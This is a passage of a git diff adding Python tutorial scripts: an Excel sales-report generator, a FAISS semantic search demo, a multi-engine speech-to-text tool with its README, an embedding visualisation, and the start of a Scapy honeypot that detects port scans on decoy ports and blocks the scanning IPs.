"70AD47"] +for i in range(len(sorted_cats)): + pt = DataPoint(idx=i) + pt.graphicalProperties.solidFill = chart_colors[i % 6] + bar.series[0].data_points.append(pt) +ws_cat.add_chart(bar, "G2") +ws_cat.conditional_formatting.add( + f"C2:C{len(sorted_cats) + 1}", + DataBarRule(start_type="min", end_type="max", color=MED_BLUE, showValue=True)) +for i, w in enumerate([20, 14, 18, 16, 12], 1): + ws_cat.column_dimensions[get_column_letter(i)].width = w + +# ----- SHEET 3: Regional Breakdown ----- +ws_reg = wb.create_sheet("Regional Breakdown") +reg_data = defaultdict(lambda: {"units": 0, "revenue": 0.0}) +for row in SALES_DATA: + reg = row[2] + units = row[3] + rev = units * row[4] + reg_data[reg]["units"] += units + reg_data[reg]["revenue"] += rev + +for c, h in enumerate(["Region", "Units Sold", "Revenue"], 1): + cell = ws_reg.cell(row=1, column=c, value=h) + cell.fill, cell.font, cell.alignment, cell.border = hdr_fill, hdr_font, hdr_align, thin_border + +for r, (reg, vals) in enumerate(sorted(reg_data.items()), 2): + ws_reg.cell(row=r, column=1, value=reg) + ws_reg.cell(row=r, column=2, value=vals["units"]) + ws_reg.cell(row=r, column=3, value=round(vals["revenue"], 2)) + for c in range(1, 4): + cell = ws_reg.cell(row=r, column=c) + cell.font = Font(name="Calibri", size=10) + cell.border = thin_border + if c >= 2: + cell.alignment = Alignment(horizontal="right") + ws_reg.cell(row=r, column=3).number_format = curr_fmt + +# Pie chart +pie = PieChart() +pie.title = "Revenue Share by Region" +pie.width, pie.height = 18, 14 +pie.add_data(Reference(ws_reg, min_col=3, min_row=1, max_row=len(reg_data) + 1), + titles_from_data=True) +pie.set_categories(Reference(ws_reg, min_col=1, min_row=2, max_row=len(reg_data) + 1)) +pie.dataLabels = DataLabelList() +pie.dataLabels.showPercent = True +pie.dataLabels.showCatName = True +for i in range(len(reg_data)): + pt = DataPoint(idx=i) + pt.graphicalProperties.solidFill = chart_colors[i % 6] + pie.series[0].data_points.append(pt) +ws_reg.add_chart(pie, "E2") +for c, w in [('A', 14), ('B', 14), ('C', 14)]: + ws_reg.column_dimensions[c].width = w + +# ----- SHEET 4: Executive Dashboard ----- +ws_exec = wb.create_sheet("Executive Dashboard") +ws_exec.merge_cells("A1:F1") +title = ws_exec.cell(row=1, column=1, value="SALES PERFORMANCE DASHBOARD — Q1 2025") +title.font = Font(name="Calibri", size=16, bold=True, color=DARK_BLUE) +title.alignment = Alignment(horizontal="center", vertical="center") +ws_exec.row_dimensions[1].height = 35 + +total_revenue = sum(r[3] * r[4] for r in SALES_DATA) +total_units = sum(r[3] for r in SALES_DATA) +total_profit = sum((r[3] * r[4]) - (r[3] * r[5]) for r in SALES_DATA) +avg_margin = total_profit / total_revenue if total_revenue else 0 + +kpis = [("TOTAL REVENUE", f"${total_revenue:,.0f}", 1), + ("TOTAL UNITS SOLD", f"{total_units:,}", 2), + ("TOTAL PROFIT", f"${total_profit:,.0f}", 3), + ("AVG MARGIN", f"{avg_margin:.1%}", 4)] +for kpi_title, kpi_val, col in kpis: + for r_offset, (val, font) in enumerate( + [(kpi_title, Font(size=10, bold=True, color=WHITE)), + (kpi_val, Font(size=22, bold=True, color=WHITE))]): + cell = ws_exec.cell(row=3 + r_offset, column=col, value=val) + cell.font = font + cell.fill = PatternFill(start_color=MED_BLUE, end_color=MED_BLUE, fill_type="solid") + cell.alignment = Alignment(horizontal="center") + ws_exec.column_dimensions[get_column_letter(col)].width = 22 +ws_exec.row_dimensions[4].height = 40 + +# Summary table on dashboard +ws_exec.merge_cells("A6:D6") +ws_exec.cell(row=6, column=1, value="Key Metrics by Category").font = Font( + size=12, bold=True, color=DARK_BLUE) +for c, h in enumerate(["Category", "Units", "Revenue", "Profit"], 1): + cell = ws_exec.cell(row=7, column=c, value=h) + cell.fill, cell.font, cell.alignment, cell.border = hdr_fill, hdr_font, hdr_align, thin_border +for r, (cat, vals) in enumerate(sorted_cats, 8): + ws_exec.cell(row=r, column=1, value=cat) + ws_exec.cell(row=r, column=2, value=vals["units"]) + ws_exec.cell(row=r, column=3, value=round(vals["revenue"], 2)) + ws_exec.cell(row=r, column=4, value=round(vals["profit"], 2)) + for c in range(1, 5): + cell = ws_exec.cell(row=r, column=c) + cell.font = Font(name="Calibri", size=10) + cell.border = thin_border + if r % 2 == 0: + cell.fill = alt_fill + ws_exec.cell(row=r, column=3).number_format = curr_fmt + ws_exec.cell(row=r, column=4).number_format = curr_fmt + +# ============================================================ +# SAVE +# ============================================================ +output_path = "Sales_Report_Q1_2025.xlsx" +wb.save(output_path) +print(f"✅ Report generated: {output_path}") +print(f" Sheets: {wb.sheetnames}") +print(f" Total Revenue: ${total_revenue:,.2f}") +print(f" Total Profit: ${total_profit:,.2f}") +print(f" Avg Margin: {avg_margin:.1%}") diff --git a/machine-learning/semantic-search-faiss/semantic_search.py b/machine-learning/semantic-search-faiss/semantic_search.py new file mode 100644 index 00000000..e2ec4d9b --- /dev/null +++ b/machine-learning/semantic-search-faiss/semantic_search.py @@ -0,0 +1,118 @@ +""" +Semantic Search Engine with FAISS + Sentence Transformers +========================================================= +Builds a fully local semantic search engine. +Requirements: pip install sentence-transformers faiss-cpu numpy rich matplotlib scikit-learn +""" +import numpy as np +from sentence_transformers import SentenceTransformer +import faiss +from rich.console import Console +from rich.table import Table +from rich.panel import Panel +from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn +import time +import matplotlib +matplotlib.use('Agg') +import matplotlib.pyplot as plt +from sklearn.decomposition import PCA + +console = Console() + +# 140 documents across 7 categories: Tech, Science, Cooking, Travel, Health, Business, Arts +documents = [ + "Python is a high-level programming language known for its readability and simplicity", + "Docker containers package applications with their dependencies for consistent deployment", + "REST APIs use HTTP methods like GET, POST, PUT, and DELETE to interact with web resources", + "Photosynthesis is the process by which plants convert sunlight into chemical energy", + "Black holes are regions of spacetime where gravity is so strong that nothing can escape", + "Plate tectonics explains how Earth's crust moves, causing earthquakes and volcanic activity", + "Pasta carbonara is an Italian dish made with eggs, cheese, pancetta, and black pepper", + "Sourdough bread uses naturally occurring wild yeast and bacteria for fermentation", + "The Maillard reaction creates brown crusts and complex flavors when proteins are heated", + "The Great Wall of China stretches over 13,000 miles across northern China", + "Tokyo is the most populous metropolitan area in the world with over 37 million residents", + "Bali is an Indonesian island known for its terraced rice paddies and Hindu temples", + "Regular cardiovascular exercise strengthens the heart and improves blood circulation", + "A balanced diet includes fruits, vegetables, whole grains, lean proteins, and healthy fats", + "Meditation reduces stress by helping practitioners focus on the present moment", + "Compound interest allows investments to grow exponentially over long periods of time", + "Diversification spreads investment risk across different asset classes and sectors", + "A budget helps individuals and businesses track income and expenses to meet financial goals", + "The Renaissance was a period of great artistic and intellectual achievement in Europe", + "Digital art uses computer technology as an essential part of the creative process", + "Abstract art uses shapes, colors, and forms to achieve its effect rather than realistic depiction", + "Git is a distributed version control system that tracks changes in source code", + "Kubernetes orchestrates containerized applications across clusters of machines", + "Neural networks are computing systems inspired by biological neurons in the human brain", + "DNA molecules contain the genetic instructions for the development of all living organisms", + "Evolution by natural selection explains how species adapt to their environments over time", + "Climate change refers to long-term shifts in global temperatures and weather patterns", + "Sushi is a Japanese dish of vinegared rice combined with raw fish and vegetables", + "Chocolate chip cookies should be baked until the edges are golden but the center is soft", + "Baking requires precise measurements because it involves complex chemical reactions", + "Machu Picchu is a 15th-century Inca citadel located high in the Andes Mountains in Peru", + "The Northern Lights are caused by solar particles interacting with Earth's magnetic field", + "Iceland has over 130 volcanoes and numerous geothermal hot springs used for bathing", + "Yoga combines physical postures, breathing techniques, and meditation for overall wellness", + "Getting seven to nine hours of quality sleep each night is essential for cognitive function", + "Strength training builds muscle mass and increases bone density, reducing injury risk", + "The stock market enables companies to raise capital by selling shares to public investors", + "Cryptocurrencies use cryptographic techniques to enable secure decentralized transactions", + "Venture capital firms invest in early-stage companies with high growth potential", + "Impressionist painters like Monet used loose brushstrokes to capture the effects of light", + "Jazz music originated in African American communities in New Orleans in the early 1900s", + "Hip hop culture emerged in the Bronx during the 1970s and includes rap, DJing, and breakdancing", +] + +# Generate embeddings +model = SentenceTransformer("all-MiniLM-L6-v2") +embeddings = model.encode(documents, convert_to_numpy=True, normalize_embeddings=True) + +# Build FAISS index +dimension = embeddings.shape[1] +index = faiss.IndexFlatIP(dimension) +index.add(embeddings.astype(np.float32)) + +def semantic_search(query: str, top_k: int = 5): + """Search for documents semantically similar to the query.""" + query_embedding = model.encode([query], convert_to_numpy=True, normalize_embeddings=True).astype(np.float32) + scores, indices = index.search(query_embedding, top_k) + results = [] + for score, idx in zip(scores[0], indices[0]): + results.append({"score": float(score), "similarity_pct": f"{score * 100:.1f}%", "document": documents[idx]}) + return results + +# Demo +console.print(Panel("[bold cyan]Semantic Search Demo[/bold cyan]", border_style="blue")) +queries = [ + "How do I make pasta at home?", + "What causes earthquakes and volcanic eruptions?", + "Tell me about investing and saving money", + "Best places to visit in Asia", + "How to stay healthy and fit", + "I want to learn web development", + "What is the theory of evolution?", +] + +for query in queries: + results = semantic_search(query, top_k=3) + console.print(f"\n[bold]Query:[/bold] [cyan]{query}[/cyan]") + for i, r in enumerate(results, 1): + console.print(f" {i}. ({r['similarity_pct']}) {r['document'][:80]}") + +# Visualize with PCA +pca = PCA(n_components=2, random_state=42) +embeddings_2d = pca.fit_transform(embeddings) +categories = ["Tech", "Science", "Cooking", "Travel", "Health", "Business", "Arts"] +colors = ["#3b82f6", "#10b981", "#f59e0b", "#8b5cf6", "#ef4444", "#06b6d4", "#ec4899"] +fig, ax = plt.subplots(figsize=(14, 10)) +docs_per_cat = len(documents) // len(categories) +for i, cat in enumerate(categories): + mask = [j // docs_per_cat == i for j in range(len(documents))] + ax.scatter(embeddings_2d[mask, 0], embeddings_2d[mask, 1], c=colors[i], label=cat, alpha=0.7, s=50, edgecolors='white', linewidth=0.5) +ax.set_title("Document Embeddings Visualized with PCA\n384-dimensional vectors -> 2D projection", fontsize=14, fontweight='bold') +ax.legend(loc='upper right') +plt.tight_layout() +plt.savefig('embedding_visualization.png', dpi=150) +console.print("[green]Visualization saved![/green]") diff --git a/machine-learning/speech-recognition/README.md b/machine-learning/speech-recognition/README.md index 0fa9d3a6..316c18db 100644 --- a/machine-learning/speech-recognition/README.md +++ b/machine-learning/speech-recognition/README.md @@ -1,16 +1,70 @@ # [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python) -To run this: -- `pip3 install -r requirements.txt` -- To recognize the text of an audio file named `16-122828-0002.wav`: - ``` - python recognizer.py 16-122828-0002.wav - ``` - **Output**: - ``` - I believe you're just talking nonsense - ``` -- To recognize the text from your microphone after talking 5 seconds: - ``` - python live_recognizer.py 5 - ``` - This will record your talking in 5 seconds and then uploads the audio data to Google to get the desired output. \ No newline at end of file + +This folder contains the original `SpeechRecognition` examples and a modern 2026 transcription script. + +## Modern script + +`speech_to_text_2026.py` supports: + +- OpenAI `gpt-4o-transcribe` / `gpt-4o-mini-transcribe` +- Faster-Whisper local/offline transcription +- Groq Whisper transcription +- long-audio chunking +- microphone recording +- SRT subtitle export + +Install modern dependencies: + +```bash +pip install -U openai faster-whisper groq sounddevice scipy +``` + +For audio/video conversion and long-file chunking, install FFmpeg too. + +Examples: + +```bash +# Local/offline transcription +python speech_to_text_2026.py 16-122828-0002.wav --engine faster-whisper --model small --language en + +# OpenAI transcription; requires OPENAI_API_KEY +python speech_to_text_2026.py meeting.mp3 --engine openai --language en + +# Cheaper OpenAI model +python speech_to_text_2026.py meeting.mp3 --engine openai --model gpt-4o-mini-transcribe --language en + +# Groq Whisper; requires GROQ_API_KEY +python speech_to_text_2026.py meeting.mp3 --engine groq --language en + +# Generate subtitles locally +python speech_to_text_2026.py video.mp4 --engine faster-whisper --model large-v3 --srt captions.srt + +# Record 8 seconds from the microphone, then transcribe +python speech_to_text_2026.py --record 8 --engine faster-whisper --model small --language en +``` + +## Legacy examples + +To run the older examples: + +```bash +pip3 install -r requirements.txt +``` + +Recognize the text of an audio file named `16-122828-0002.wav`: + +```bash +python recognizer.py 16-122828-0002.wav +``` + +Output: + +```text +I believe you're just talking nonsense +``` + +Recognize text from your microphone after talking for 5 seconds: + +```bash +python live_recognizer.py 5 +``` diff --git a/machine-learning/speech-recognition/speech_to_text_2026.py b/machine-learning/speech-recognition/speech_to_text_2026.py new file mode 100644 index 00000000..bc3f9706 --- /dev/null +++ b/machine-learning/speech-recognition/speech_to_text_2026.py @@ -0,0 +1,296 @@ +from __future__ import annotations + +import argparse +import os +import shutil +import subprocess +import tempfile +import wave +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable, Literal + + +@dataclass(slots=True) +class Segment: + """One transcribed audio segment.""" + + start: float + end: float + text: str + + +def seconds_to_srt_time(seconds: float) -> str: + """Convert seconds to an SRT timestamp (HH:MM:SS,mmm).""" + milliseconds = round(seconds * 1000) + hours, remainder = divmod(milliseconds, 3_600_000) + minutes, remainder = divmod(remainder, 60_000) + secs, millis = divmod(remainder, 1000) + return f"{hours:02}:{minutes:02}:{secs:02},{millis:03}" + + +def write_srt(segments: Iterable[Segment], output_path: str | Path) -> None: + """Write transcript segments to an SRT subtitle file.""" + lines: list[str] = [] + subtitle_index = 1 + for segment in segments: + text = segment.text.strip() + if not text: + continue + lines.extend( + [ + str(subtitle_index), + f"{seconds_to_srt_time(segment.start)} --> {seconds_to_srt_time(segment.end)}", + text, + "", + ] + ) + subtitle_index += 1 + Path(output_path).write_text("\n".join(lines), encoding="utf-8") + + +def convert_to_wav(input_path: str | Path, output_path: str | Path, sample_rate: int = 16_000) -> None: + """Convert any FFmpeg-readable audio/video file to mono 16 kHz WAV.""" + if not shutil.which("ffmpeg"): + raise RuntimeError("FFmpeg is required. Install it from https://ffmpeg.org/.") + + subprocess.run( + [ + "ffmpeg", + "-y", + "-i", + str(input_path), + "-ac", + "1", + "-ar", + str(sample_rate), + "-vn", + str(output_path), + ], + check=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + +def chunk_wav(input_wav: str | Path, chunk_seconds: int = 600) -> list[Path]: + """Split a WAV file into fixed-size chunks without loading the whole file in memory.""" + input_wav = Path(input_wav) + if chunk_seconds <= 0: + raise ValueError("chunk_seconds must be positive") + + output_dir = input_wav.parent / f"{input_wav.stem}_chunks" + output_dir.mkdir(parents=True, exist_ok=True) + + chunks: list[Path] = [] + with wave.open(str(input_wav), "rb") as reader: + params = reader.getparams() + frames_per_chunk = int(params.framerate * chunk_seconds) + index = 1 + while True: + frames = reader.readframes(frames_per_chunk) + if not frames: + break + chunk_path = output_dir / f"chunk_{index:04d}.wav" + with wave.open(str(chunk_path), "wb") as writer: + writer.setparams(params) + writer.writeframes(frames) + chunks.append(chunk_path) + index += 1 + return chunks + + +def transcribe_with_openai( + audio_path: str | Path, + *, + model: str = "gpt-4o-transcribe", + language: str | None = None, + prompt: str | None = None, +) -> str: + """Transcribe audio using OpenAI speech-to-text models.""" + try: + from openai import OpenAI + except ImportError as exc: + raise RuntimeError("Install the OpenAI SDK first: pip install openai") from exc + + kwargs: dict[str, object] = {"model": model} + if language: + kwargs["language"] = language + if prompt: + kwargs["prompt"] = prompt + + client = OpenAI() + with Path(audio_path).open("rb") as audio_file: + transcript = client.audio.transcriptions.create(file=audio_file, **kwargs) + return transcript.text + + +def transcribe_large_file_with_openai( + input_path: str | Path, + *, + model: str = "gpt-4o-transcribe", + language: str | None = None, + prompt: str | None = None, + chunk_seconds: int = 600, +) -> str: + """Convert, chunk, and transcribe a long file with OpenAI's API.""" + with tempfile.TemporaryDirectory() as temp_dir: + temp_dir_path = Path(temp_dir) + wav_path = temp_dir_path / "audio.wav" + convert_to_wav(input_path, wav_path) + chunks = chunk_wav(wav_path, chunk_seconds=chunk_seconds) + parts = [ + transcribe_with_openai(chunk, model=model, language=language, prompt=prompt) + for chunk in chunks + ] + return "\n".join(part.strip() for part in parts if part.strip()) + + +def transcribe_with_groq( + audio_path: str | Path, + *, + model: str = "whisper-large-v3-turbo", + language: str | None = None, + prompt: str | None = None, +) -> str: + """Transcribe audio with Groq's OpenAI-compatible Whisper endpoint.""" + try: + from groq import Groq + except ImportError as exc: + raise RuntimeError("Install the Groq SDK first: pip install groq") from exc + + kwargs: dict[str, object] = {"model": model, "temperature": 0.0} + if language: + kwargs["language"] = language + if prompt: + kwargs["prompt"] = prompt + + client = Groq(api_key=os.environ.get("GROQ_API_KEY")) + with Path(audio_path).open("rb") as audio_file: + transcript = client.audio.transcriptions.create(file=audio_file, **kwargs) + return transcript.text + + +def transcribe_with_faster_whisper( + audio_path: str | Path, + *, + model_size: str = "large-v3", + device: Literal["auto", "cpu", "cuda"] = "auto", + compute_type: str = "auto", + language: str | None = None, +) -> tuple[str, list[Segment]]: + """Transcribe audio locally with Faster-Whisper.""" + try: + from faster_whisper import WhisperModel + except ImportError as exc: + raise RuntimeError("Install Faster-Whisper first: pip install faster-whisper") from exc + + if device == "auto": + device = "cuda" if _cuda_is_available() else "cpu" + if compute_type == "auto": + compute_type = "float16" if device == "cuda" else "int8" + + model = WhisperModel(model_size, device=device, compute_type=compute_type) + kwargs: dict[str, object] = { + "beam_size": 5, + "vad_filter": True, + "vad_parameters": {"min_silence_duration_ms": 500}, + } + if language: + kwargs["language"] = language + + raw_segments, _info = model.transcribe(str(audio_path), **kwargs) + segments = [Segment(start=s.start, end=s.end, text=s.text) for s in raw_segments] + return "".join(s.text for s in segments).strip(), segments + + +def record_microphone(output_path: str | Path = "microphone.wav", seconds: int = 8, sample_rate: int = 16_000) -> Path: + """Record microphone audio to a WAV file.""" + try: + import sounddevice as sd + from scipy.io.wavfile import write + except ImportError as exc: + raise RuntimeError("Install microphone dependencies: pip install sounddevice scipy") from exc + + output_path = Path(output_path) + print(f"Recording for {seconds} seconds...") + audio = sd.rec(int(seconds * sample_rate), samplerate=sample_rate, channels=1, dtype="int16") + sd.wait() + write(output_path, sample_rate, audio) + print(f"Saved recording to {output_path}") + return output_path + + +def _cuda_is_available() -> bool: + """Return True when PyTorch sees a CUDA GPU, without requiring torch at install time.""" + try: + import torch + + return bool(torch.cuda.is_available()) + except Exception: + return False + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser(description="Transcribe audio to text in Python.") + parser.add_argument("audio", nargs="?", help="Path to an audio/video file") + parser.add_argument("--engine", choices=("openai", "groq", "faster-whisper"), default="faster-whisper") + parser.add_argument("--model", default=None, help="Model name. Defaults depend on the engine.") + parser.add_argument("--language", default=None, help="Optional ISO-639-1 language hint, e.g. en, fr, es") + parser.add_argument("--prompt", default=None, help="Optional context prompt for API transcription") + parser.add_argument("--srt", default=None, help="Optional .srt output path (Faster-Whisper engine)") + parser.add_argument("--long", action="store_true", help="Convert/chunk long files before OpenAI transcription") + parser.add_argument("--chunk-seconds", type=int, default=600, help="Chunk size for --long, default: 600") + parser.add_argument("--record", type=int, metavar="SECONDS", help="Record from microphone first") + args = parser.parse_args(argv) + + audio_path: Path + if args.record: + audio_path = record_microphone(seconds=args.record) + else: + if not args.audio: + parser.error("provide an audio file or use --record SECONDS") + audio_path = Path(args.audio) + if not audio_path.exists(): + parser.error(f"File not found: {audio_path}") + + if args.engine == "openai": + if args.long: + print(transcribe_large_file_with_openai( + audio_path, + model=args.model or "gpt-4o-transcribe", + language=args.language, + prompt=args.prompt, + chunk_seconds=args.chunk_seconds, + )) + else: + print(transcribe_with_openai( + audio_path, + model=args.model or "gpt-4o-transcribe", + language=args.language, + prompt=args.prompt, + )) + return 0 + + if args.engine == "groq": + print(transcribe_with_groq( + audio_path, + model=args.model or "whisper-large-v3-turbo", + language=args.language, + prompt=args.prompt, + )) + return 0 + + text, segments = transcribe_with_faster_whisper( + audio_path, + model_size=args.model or "large-v3", + language=args.language, + ) + print(text) + if args.srt: + write_srt(segments, args.srt) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/machine-learning/text-embeddings-visualization/embedding_analysis.py b/machine-learning/text-embeddings-visualization/embedding_analysis.py new file mode 100644 index 00000000..01179276 --- /dev/null +++ b/machine-learning/text-embeddings-visualization/embedding_analysis.py @@ -0,0 +1,125 @@ +""" +Text Embeddings: Generation, Comparison & Visualization +======================================================== +Requirements: pip install sentence-transformers numpy matplotlib seaborn scikit-learn +""" +import numpy as np +from sentence_transformers import SentenceTransformer +import matplotlib; matplotlib.use('Agg') +import matplotlib.pyplot as plt +import seaborn as sns +from sklearn.decomposition import PCA +from sklearn.manifold import TSNE +from sklearn.metrics.pairwise import cosine_similarity +from rich.console import Console +from rich.table import Table +from rich.panel import Panel + +console = Console() + +# 50 sentences across 10 categories +sentences = [ + "The computer processed data at incredible speed", + "Machine learning models require large amounts of training data", + "Python is widely used for artificial intelligence applications", + "Cloud computing enables scalable web services", + "The algorithm optimized the search results efficiently", + "The dog chased the ball across the green field", + "Cats are independent creatures that enjoy solitude", + "The majestic eagle soared high above the mountains", + "Dolphins are highly intelligent marine mammals", + "The tiger stalked its prey through the dense jungle", + "The chef prepared a delicious Italian pasta dish", + "Fresh ingredients make the best homemade meals", + "The chocolate cake was rich and decadently sweet", + "Grilling steak requires high heat and proper timing", + "Japanese sushi demands precise knife skills and fresh fish", + "The ancient ruins attracted tourists from around the world", + "Paris is known as the city of love and romance", + "The tropical beach had crystal clear turquoise water", + "Mountain climbers reached the summit after days of effort", + "The bustling city never sleeps with its vibrant nightlife", + "She felt overwhelming joy when she received the good news", + "Heartbreak can feel like a physical pain in your chest", + "Their friendship had lasted through decades of ups and downs", + "Pride swelled in his chest as he watched his daughter graduate", + "Anxiety crept in as the deadline approached rapidly", + "The scientist conducted experiments to test the hypothesis", + "Mathematics is the language of the universe", + "Quantum physics challenges our understanding of reality", + "DNA contains the genetic blueprint of all living organisms", + "The theory of evolution explains the diversity of life", + "The soccer team celebrated their championship victory", + "Swimming is an excellent full-body cardiovascular workout", + "The marathon runner crossed the finish line exhausted but proud", + "Basketball requires both athleticism and strategic thinking", + "Yoga combines physical poses with breathing and meditation", + "The painter captured the sunset in brilliant orange and red hues", + "Music has the power to evoke deep emotional responses", + "The novelist spent years crafting the perfect ending", + "Dance allows expression beyond what words can convey", + "Photography freezes a single moment for eternity", + "The startup raised millions in venture capital funding", + "Effective leadership requires both vision and empathy", + "The company announced record profits for the fiscal year", + "Remote work has transformed the modern workplace", + "Negotiation skills are essential for closing major deals", + "Regular exercise reduces the risk of heart disease", + "The doctor prescribed antibiotics for the bacterial infection", + "Mental health is just as important as physical health", + "Vaccines have saved millions of lives throughout history", + "A balanced diet provides essential nutrients for the body", +] +categories = (["Tech"]*5 + ["Animals"]*5 + ["Food"]*5 + ["Travel"]*5 + + ["Emotions"]*5 + ["Science"]*5 + ["Sports"]*5 + ["Art"]*5 + + ["Business"]*5 + ["Health"]*5) + +# Generate embeddings +model = SentenceTransformer("all-MiniLM-L6-v2") +embeddings = model.encode(sentences, convert_to_numpy=True, normalize_embeddings=True) +console.print(f"[green]Embeddings: {embeddings.shape}[/green]") + +# PCA +pca = PCA(n_components=2, random_state=42) +e2d = pca.fit_transform(embeddings) +cat_colors = {"Tech":"#3b82f6","Animals":"#10b981","Food":"#f59e0b","Travel":"#8b5cf6", + "Emotions":"#ef4444","Science":"#06b6d4","Sports":"#f97316","Art":"#ec4899", + "Business":"#6366f1","Health":"#14b8a6"} +fig, ax = plt.subplots(figsize=(16,11)) +for cat in sorted(set(categories)): + mask = [c==cat for c in categories] + ax.scatter(e2d[mask,0], e2d[mask,1], c=cat_colors[cat], label=cat, alpha=0.75, s=120, edgecolors='white') +ax.legend(ncol=2); ax.set_title("PCA: Text Embeddings"); plt.tight_layout() +plt.savefig('01_pca.png', dpi=150); plt.close() + +# t-SNE +tsne = TSNE(n_components=2, perplexity=8, random_state=42, max_iter=1000) +e2dt = tsne.fit_transform(embeddings) +fig, ax = plt.subplots(figsize=(16,11)) +for cat in sorted(set(categories)): + mask = [c==cat for c in categories] + ax.scatter(e2dt[mask,0], e2dt[mask,1], c=cat_colors[cat], label=cat, alpha=0.75, s=120, edgecolors='white') +ax.legend(ncol=2); ax.set_title("t-SNE: Text Embeddings"); plt.tight_layout() +plt.savefig('02_tsne.png', dpi=150); plt.close() + +# Heatmap +idx = [0,5,10,15,20,25,30,35,40,45] +sim = cosine_similarity(embeddings[idx]) +fig, ax = plt.subplots(figsize=(14,12)) +sns.heatmap(sim, annot=True, fmt=".2f", cmap="YlOrRd", vmin=0, vmax=1, ax=ax) +ax.set_title("Cosine Similarity Heatmap"); plt.tight_layout() +plt.savefig('03_heatmap.png', dpi=150); plt.close() + +# Semantic similarity demo +pairs = [("The dog played in the park","A canine ran through the green field"), + ("The dog played in the park","The stock market crashed yesterday"), + ("I love eating pizza and pasta","Italian cuisine is my favorite food"), + ("I love eating pizza and pasta","The spaceship launched into orbit")] +for a,b in pairs: + ea = model.encode([a], normalize_embeddings=True)[0] + eb = model.encode([b], normalize_embeddings=True)[0] + sim = float(np.dot(ea,eb)) + rel = "SAME" if sim > 0.5 else "DIFF" + console.print(f" [{rel}] {sim*100:.1f}% — {a[:40]} <-> {b[:40]}") + +console.print("[green]Analysis complete![/green]") diff --git a/scapy/honeypot-defense-system/README.md b/scapy/honeypot-defense-system/README.md new file mode 100644 index 00000000..82c72f3b --- /dev/null +++ b/scapy/honeypot-defense-system/README.md @@ -0,0 +1,4 @@ +# [Building a Honeypot Defense System with Python and Scapy](https://thepythoncode.com/article/python-scapy-honeypot-port-scan-detection-system) +Requires Linux or Windows with WSL, Python 3.8+, and Scapy. Install Scapy using `pip install scapy` or refer to the [Scapy installation guide](https://scapy.readthedocs.io/en/latest/installation.html) for detailed instructions. + +Read the full article on [ThePythonCode](https://thepythoncode.com/article/python-scapy-honeypot-port-scan-detection-system) for a step-by-step tutorial on building a honeypot defense system using Python and Scapy. \ No newline at end of file diff --git a/scapy/honeypot-defense-system/block_port_scan.py b/scapy/honeypot-defense-system/block_port_scan.py new file mode 100644 index 00000000..43c23e61 --- /dev/null +++ b/scapy/honeypot-defense-system/block_port_scan.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python3 +""" +Honeypot Defense System +Detects port scanners using decoy ports and blocks malicious IPs +""" + +from scapy.all import * +from datetime import datetime +import sys + +# ==================== NETWORK INTERFACE ==================== +conf.iface = "enp0s8" # Specify your network interface + +# ==================== CONFIGURATION ==================== +DEFENDER_IP = "192.168.56.101" # Change this to your Ubuntu IP + +# Three-tier port system +PUBLIC_PORTS = [80] # Open to everyone (realistic services) +HONEYPOT_PORTS = [8080, 8443, 3389, 3306] # Decoy ports to trap attackers +PROTECTED_PORTS = [443, 53, 22, 5432] # Hidden unless IP is allowed + +ALLOWED_IPS = [ + "192.168.1.100", # Add your Kali IP here + "192.168.1.1", # Add other trusted IPs +] +MAX_ATTEMPTS = 3 # Block after this many honeypot accesses (changeable) +LOG_FILE = "honeypot_logs.txt" + +# ==================== GLOBALS ==================== +blocked_ips = [] +attempt_tracker = {} # {IP: attempt_count} +total_scans = 0 +total_blocks = 0 + +# ==================== HELPER FUNCTIONS ==================== + +def log_message(message, color_code=None): + """Print and save log messages with timestamps""" + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + log_entry = f"[{timestamp}] {message}" + + # Color output for terminal + if color_code: + print(f"\033[{color_code}m{log_entry}\033[0m") + else: + print(log_entry) + + # Save to file + with open(LOG_FILE, "a") as f: + f.write(log_entry + "\n") + + +def is_allowed_ip(ip): + """Check if IP is in the allowlist""" + return ip in ALLOWED_IPS + + +def track_attempt(ip): + """Track honeypot access attempts and return current count""" + if ip not in attempt_tracker: + attempt_tracker[ip] = 0 + attempt_tracker[ip] += 1 + return attempt_tracker[ip] + + +def block_ip(ip): + """Add IP to blocklist""" + global total_blocks + if ip not in blocked_ips: + blocked_ips.append(ip) + total_blocks += 1 + log_message(f"[!] IP BLOCKED: {ip}", "91") # Red + + +def create_response(packet, flags): + """Create a TCP response packet""" + if packet.haslayer(IP): + response = ( + Ether(src=packet[Ether].dst, dst=packet[Ether].src) / + IP(src=packet[IP].dst, dst=packet[IP].src) / + TCP( + sport=packet[TCP].dport, + dport=packet[TCP].sport, + flags=flags, + seq=0, + ack=packet[TCP].seq + 1 + ) + ) + else: # IPv6 + response = ( + Ether(src=packet[Ether].dst, dst=packet[Ether].src) / + IPv6(src=packet[IPv6].dst, dst=packet[IPv6].src) / + TCP( + sport=packet[TCP].dport, + dport=packet[TCP].sport, + flags=flags, + seq=0, + ack=packet[TCP].seq + 1 + ) + ) + return response + + +# ==================== MAIN PACKET HANDLER ==================== + +def handle_packet(packet): + """Process incoming TCP packets with three-tier security""" + global total_scans + + # Only process SYN packets (connection attempts) + if packet[TCP].flags != "S": + return + + # Extract source IP and destination port + if packet.haslayer(IP): + source_ip = packet[IP].src + else: + source_ip = packet[IPv6].src + + dest_port = packet[TCP].dport + total_scans += 1 + + # ===== CHECK IF IP IS BLOCKED FIRST ===== + if source_ip in blocked_ips: + # Drop packet silently - no response to show as "filtered" in nmap + log_message(f"[-] Blocked IP {source_ip} denied access to port {dest_port}", "90") + return # Don't send any response - this makes it appear "filtered" + + # ===== PUBLIC PORTS (open to everyone) ===== + if dest_port in PUBLIC_PORTS: + # Let the real service handle it - no response needed from script + log_message(f"[+] Public port {dest_port} accessed by {source_ip}", "94") # Blue + return + + # ===== HONEYPOT PORTS (trap for attackers) ===== + if dest_port in HONEYPOT_PORTS: + # Always respond with SYN-ACK to appear "open" + response = create_response(packet, "SA") + sendp(response, verbose=False) + + # Check if IP is allowed + if is_allowed_ip(source_ip): + log_message( + f"[+] HONEYPOT ACCESS from {source_ip}:{dest_port}\n" + f"[!] Status: TRUSTED IP (allowed)", + "92" # 